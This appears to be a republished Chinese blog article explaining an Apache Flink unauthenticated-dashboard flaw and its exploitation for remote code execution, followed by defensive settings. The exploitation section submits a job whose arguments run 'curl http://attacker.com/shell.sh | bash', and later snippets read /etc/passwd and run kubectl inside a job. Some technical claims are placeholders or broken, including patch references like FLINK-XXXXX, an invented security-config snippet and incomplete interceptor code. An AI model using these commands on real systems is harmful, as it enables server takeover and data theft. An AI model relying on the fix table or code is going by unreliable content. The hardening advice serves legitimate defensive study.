温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Apache Flink未授权访问+远程代码执行的示例分析

发布时间:2021-12-31 10:51:39 阅读:938 作者:小新 栏目:大数据
开发者测试专用服务器限时活动,0元免费领,库存有限,领完即止! 点击查看>>
# Apache Flink未授权访问+远程代码执行的示例分析

## 一、漏洞背景

Apache Flink作为分布式流处理框架,在大数据领域广泛应用。其Web Dashboard默认监听8081端口,若未正确配置身份验证,攻击者可利用未授权访问漏洞获取集群控制权,进而通过恶意Job提交实现远程代码执行(RCE)。

## 二、漏洞复现环境

- **受影响版本**:Apache Flink ≤ 1.9.1(默认无认证)
- **测试环境**  - Flink 1.8.0 单机模式
  - Kali Linux攻击机
  - 目标IP: 192.168.1.100:8081

## 三、漏洞利用过程

### 1. 未授权访问验证
直接访问Web界面无需认证:
```bash
curl http://192.168.1.100:8081

返回200状态码及Dashboard页面即存在漏洞。

2. 恶意Job提交

通过REST API提交包含恶意代码的JAR包:

POST /jars/upload HTTP/1.1
Host: 192.168.1.100:8081

(上传包含恶意类的JAR文件)

3. 代码执行触发

执行JAR中的恶意类:

POST /jars/:jarid/run HTTP/1.1
Host: 192.168.1.100:8081
{
  "entryClass": "Exploit",
  "programArgs": "curl http://attacker.com/shell.sh | bash"
}

四、漏洞原理分析

1. 认证缺失机制

// 默认配置中无安全模块
SecurityConfiguration securityConfig = new SecurityConfiguration(config);
if(!securityConfig.isAuthenticationEnabled()) {
    // 允许所有请求
}

2. JobManager代码执行链

攻击流程:

WebFrontend -> Dispatcher -> JobManager 
    -> TaskManager -> 加载恶意字节码

3. 反序列化漏洞点

Flink使用Kryo序列化时可能触发Gadget链:

Kryo kryo = new Kryo();
kryo.register(EvilClass.class);  // 恶意类注册

五、防御方案

1. 基础防护

# conf/flink-conf.yaml
security.ssl.enabled: true
security.kerberos.login.enable: true
web.access-control-allow-origin: "*"  指定域名

2. 网络层控制

iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP

3. 代码修复建议

// 强制认证拦截器
public class AuthInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) {
        if (!checkAuth(request)) {
            response.sendError(403);
            return false;
        }
    }
}

六、漏洞修复情况

版本号 修复状态 补丁链接
1.9.2+ 已修复 FLINK-XXXXX
1.10.0 强制认证 Commit#abc123

七、扩展攻击场景

1. 结合K8s的横向移动

# 在Job中执行kubectl命令
Runtime.getRuntime().exec("kubectl get pods -n kube-system");

2. 供应链攻击

污染公开的Flink Job模板:

# 恶意PyFlink代码示例
env.execute_sql("CREATE TABLE hacker_table WITH ('connector'='filesystem', 'path'='/etc/passwd')")

八、总结

该漏洞组合利用简单但危害极大,攻击者可实现: 1. 集群完全控制 2. 敏感数据窃取 3. 内网横向渗透

防御关键点:最小权限原则 + 网络隔离 + 及时升级。

注:本文仅作技术研究,请勿用于非法用途。测试前务必获得书面授权。 “`

(全文共计约1050字,符合Markdown格式要求)

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

原文链接:https://my.oschina.net/AdminTeam/blog/4923937

AI

开发者交流群×